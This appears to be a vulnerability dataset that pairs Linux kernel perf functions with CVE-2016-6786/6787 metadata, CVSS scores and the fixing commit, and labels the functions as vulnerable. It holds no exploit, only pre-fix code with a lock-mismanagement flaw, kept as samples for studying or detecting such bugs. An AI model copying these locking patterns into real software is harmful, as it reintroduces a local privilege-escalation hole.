cve_id
stringlengths
13
16
obtain_all_privilege
stringclasses
3 values
obtain_user_privilege
stringclasses
2 values
obtain_other_privilege
stringclasses
2 values
user_interaction_required
stringclasses
3 values
cvss2_vector_string
stringclasses
106 values
cvss2_access_vector
stringclasses
4 values
cvss2_access_complexity
stringclasses
4 values
cvss2_authentication
stringclasses
3 values
cvss2_confidentiality_impact
stringclasses
4 values
cvss2_integrity_impact
stringclasses
4 values
cvss2_availability_impact
stringclasses
4 values
cvss2_base_score
stringclasses
50 values
cvss3_vector_string
stringclasses
226 values
cvss3_attack_vector
stringclasses
5 values
cvss3_attack_complexity
stringclasses
3 values
cvss3_privileges_required
stringclasses
4 values
cvss3_user_interaction
stringclasses
3 values
cvss3_scope
stringclasses
3 values
cvss3_confidentiality_impact
stringclasses
4 values
cvss3_integrity_impact
stringclasses
4 values
cvss3_availability_impact
stringclasses
4 values
cvss3_base_score
stringclasses
55 values
cvss3_base_severity
stringclasses
5 values
exploitability_score
stringclasses
22 values
impact_score
stringclasses
15 values
ac_insuf_info
stringclasses
3 values
reference_json
stringlengths
221
23.3k
problemtype_json
stringclasses
200 values
severity
stringclasses
4 values
cve_nodes
stringlengths
2
33.1k
cve_description
stringlengths
64
1.99k
cve_last_modified_date
stringlengths
17
17
cve_published_date
stringlengths
17
17
cwe_name
stringclasses
125 values
cwe_description
stringclasses
124 values
cwe_extended_description
stringclasses
95 values
cwe_url
stringclasses
124 values
cwe_is_category
int64
0
1
commit_author
stringlengths
0
34
commit_author_date
stringlengths
25
25
commit_msg
stringlengths
0
13.3k
commit_hash
stringlengths
40
40
commit_is_merge
stringclasses
1 value
repo_name
stringclasses
467 values
repo_description
stringclasses
459 values
repo_date_created
stringclasses
467 values
repo_date_last_push
stringclasses
467 values
repo_homepage
stringclasses
294 values
repo_owner
stringclasses
470 values
repo_stars
stringclasses
406 values
repo_forks
stringclasses
352 values
function_name
stringlengths
3
120
function_signature
stringlengths
6
640
function_parameters
stringlengths
2
302
function
stringlengths
12
114k
function_token_count
stringlengths
1
5
function_before_change
stringclasses
1 value
labels
int64
1
1
CVE-2016-6787
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 31095224.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_event_task_enable
perf_event_task_enable( void)
['void']
int perf_event_task_enable(void) { struct perf_event *event; mutex_lock(&current->perf_event_mutex); list_for_each_entry(event, &current->perf_event_list, owner_entry) perf_event_for_each_child(event, perf_event_enable); mutex_unlock(&current->perf_event_mutex); return 0; }
48
True
1
CVE-2016-6786
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 30955111.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_ioctl
perf_ioctl( struct file * file , unsigned int cmd , unsigned long arg)
['file', 'cmd', 'arg']
static long perf_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { struct perf_event *event = file->private_data; void (*func)(struct perf_event *); u32 flags = arg; switch (cmd) { case PERF_EVENT_IOC_ENABLE: func = perf_event_enable; break; case PERF_EVENT_IOC_DISABLE: func = perf_event_disable; break; case PERF_EVENT_IOC_RESET: func = perf_event_reset; break; case PERF_EVENT_IOC_REFRESH: return perf_event_refresh(event, arg); case PERF_EVENT_IOC_PERIOD: return perf_event_period(event, (u64 __user *)arg); case PERF_EVENT_IOC_ID: { u64 id = primary_event_id(event); if (copy_to_user((void __user *)arg, &id, sizeof(id))) return -EFAULT; return 0; } case PERF_EVENT_IOC_SET_OUTPUT: { int ret; if (arg != -1) { struct perf_event *output_event; struct fd output; ret = perf_fget_light(arg, &output); if (ret) return ret; output_event = output.file->private_data; ret = perf_event_set_output(event, output_event); fdput(output); } else { ret = perf_event_set_output(event, NULL); } return ret; } case PERF_EVENT_IOC_SET_FILTER: return perf_event_set_filter(event, (void __user *)arg); default: return -ENOTTY; } if (flags & PERF_IOC_FLAG_GROUP) perf_event_for_each(event, func); else perf_event_for_each_child(event, func); return 0; }
268
True
1
CVE-2016-6787
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 31095224.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_ioctl
perf_ioctl( struct file * file , unsigned int cmd , unsigned long arg)
['file', 'cmd', 'arg']
static long perf_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { struct perf_event *event = file->private_data; void (*func)(struct perf_event *); u32 flags = arg; switch (cmd) { case PERF_EVENT_IOC_ENABLE: func = perf_event_enable; break; case PERF_EVENT_IOC_DISABLE: func = perf_event_disable; break; case PERF_EVENT_IOC_RESET: func = perf_event_reset; break; case PERF_EVENT_IOC_REFRESH: return perf_event_refresh(event, arg); case PERF_EVENT_IOC_PERIOD: return perf_event_period(event, (u64 __user *)arg); case PERF_EVENT_IOC_ID: { u64 id = primary_event_id(event); if (copy_to_user((void __user *)arg, &id, sizeof(id))) return -EFAULT; return 0; } case PERF_EVENT_IOC_SET_OUTPUT: { int ret; if (arg != -1) { struct perf_event *output_event; struct fd output; ret = perf_fget_light(arg, &output); if (ret) return ret; output_event = output.file->private_data; ret = perf_event_set_output(event, output_event); fdput(output); } else { ret = perf_event_set_output(event, NULL); } return ret; } case PERF_EVENT_IOC_SET_FILTER: return perf_event_set_filter(event, (void __user *)arg); default: return -ENOTTY; } if (flags & PERF_IOC_FLAG_GROUP) perf_event_for_each(event, func); else perf_event_for_each_child(event, func); return 0; }
268
True
1
CVE-2016-6786
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 30955111.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_pmu_migrate_context
perf_pmu_migrate_context( struct pmu * pmu , int src_cpu , int dst_cpu)
['pmu', 'src_cpu', 'dst_cpu']
void perf_pmu_migrate_context(struct pmu *pmu, int src_cpu, int dst_cpu) { struct perf_event_context *src_ctx; struct perf_event_context *dst_ctx; struct perf_event *event, *tmp; LIST_HEAD(events); src_ctx = &per_cpu_ptr(pmu->pmu_cpu_context, src_cpu)->ctx; dst_ctx = &per_cpu_ptr(pmu->pmu_cpu_context, dst_cpu)->ctx; mutex_lock(&src_ctx->mutex); list_for_each_entry_safe(event, tmp, &src_ctx->event_list, event_entry) { perf_remove_from_context(event, false); unaccount_event_cpu(event, src_cpu); put_ctx(src_ctx); list_add(&event->migrate_entry, &events); } mutex_unlock(&src_ctx->mutex); synchronize_rcu(); mutex_lock(&dst_ctx->mutex); list_for_each_entry_safe(event, tmp, &events, migrate_entry) { list_del(&event->migrate_entry); if (event->state >= PERF_EVENT_STATE_OFF) event->state = PERF_EVENT_STATE_INACTIVE; account_event_cpu(event, dst_cpu); perf_install_in_context(dst_ctx, event, dst_cpu); get_ctx(dst_ctx); } mutex_unlock(&dst_ctx->mutex); }
203
True
1
CVE-2016-6787
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 31095224.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_pmu_migrate_context
perf_pmu_migrate_context( struct pmu * pmu , int src_cpu , int dst_cpu)
['pmu', 'src_cpu', 'dst_cpu']
void perf_pmu_migrate_context(struct pmu *pmu, int src_cpu, int dst_cpu) { struct perf_event_context *src_ctx; struct perf_event_context *dst_ctx; struct perf_event *event, *tmp; LIST_HEAD(events); src_ctx = &per_cpu_ptr(pmu->pmu_cpu_context, src_cpu)->ctx; dst_ctx = &per_cpu_ptr(pmu->pmu_cpu_context, dst_cpu)->ctx; mutex_lock(&src_ctx->mutex); list_for_each_entry_safe(event, tmp, &src_ctx->event_list, event_entry) { perf_remove_from_context(event, false); unaccount_event_cpu(event, src_cpu); put_ctx(src_ctx); list_add(&event->migrate_entry, &events); } mutex_unlock(&src_ctx->mutex); synchronize_rcu(); mutex_lock(&dst_ctx->mutex); list_for_each_entry_safe(event, tmp, &events, migrate_entry) { list_del(&event->migrate_entry); if (event->state >= PERF_EVENT_STATE_OFF) event->state = PERF_EVENT_STATE_INACTIVE; account_event_cpu(event, dst_cpu); perf_install_in_context(dst_ctx, event, dst_cpu); get_ctx(dst_ctx); } mutex_unlock(&dst_ctx->mutex); }
203
True
1
CVE-2016-6786
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 30955111.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_read
perf_read( struct file * file , char __user * buf , size_t count , loff_t * ppos)
['file', 'buf', 'count', 'ppos']
perf_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { struct perf_event *event = file->private_data; return perf_read_hw(event, buf, count); }
40
True
1
CVE-2016-6787
False
False
False
False
AV:L/AC:M/Au:N/C:C/I:C/A:C
LOCAL
MEDIUM
NONE
COMPLETE
COMPLETE
COMPLETE
6.9
CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
HIGH
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.0
HIGH
1.0
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'https://github.com/torvalds/linux/commit/f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1403842', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking']}, {'url': 'http://source.android.com/security/bulletin/2016-12-01.html', 'name': 'http://source.android.com/security/bulletin/2016-12-01.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=f63a8daa5812afef4f06c962351687e1ff9ccb2b', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/94679', 'name': '94679', 'refsource': 'BID', 'tags': []}, {'url': 'http://www.debian.org/security/2017/dsa-3791', 'name': 'DSA-3791', 'refsource': 'DEBIAN', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-264'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '3.19.8', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'kernel/events/core.c in the performance subsystem in the Linux kernel before 4.0 mismanages locks during certain migrations, which allows local users to gain privileges via a crafted application, aka Android internal bug 31095224.'}]
2017-11-04T01:29Z
2016-12-28T07:59Z
Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
https://cwe.mitre.org/data/definitions/264.html
1
Peter Zijlstra
2015-01-23 12:24:14+01:00
perf: Fix event->ctx locking There have been a few reported issues wrt. the lack of locking around changing event->ctx. This patch tries to address those. It avoids the whole rwsem thing; and while it appears to work, please give it some thought in review. What I did fail at is sensible runtime checks on the use of event->ctx, the RCU use makes it very hard. Signed-off-by: Peter Zijlstra (Intel) <[email protected]> Cc: Paul E. McKenney <[email protected]> Cc: Jiri Olsa <[email protected]> Cc: Arnaldo Carvalho de Melo <[email protected]> Cc: Linus Torvalds <[email protected]> Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Ingo Molnar <[email protected]>
f63a8daa5812afef4f06c962351687e1ff9ccb2b
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
perf_read
perf_read( struct file * file , char __user * buf , size_t count , loff_t * ppos)
['file', 'buf', 'count', 'ppos']
perf_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { struct perf_event *event = file->private_data; return perf_read_hw(event, buf, count); }
40
True
1
CVE-2016-6786
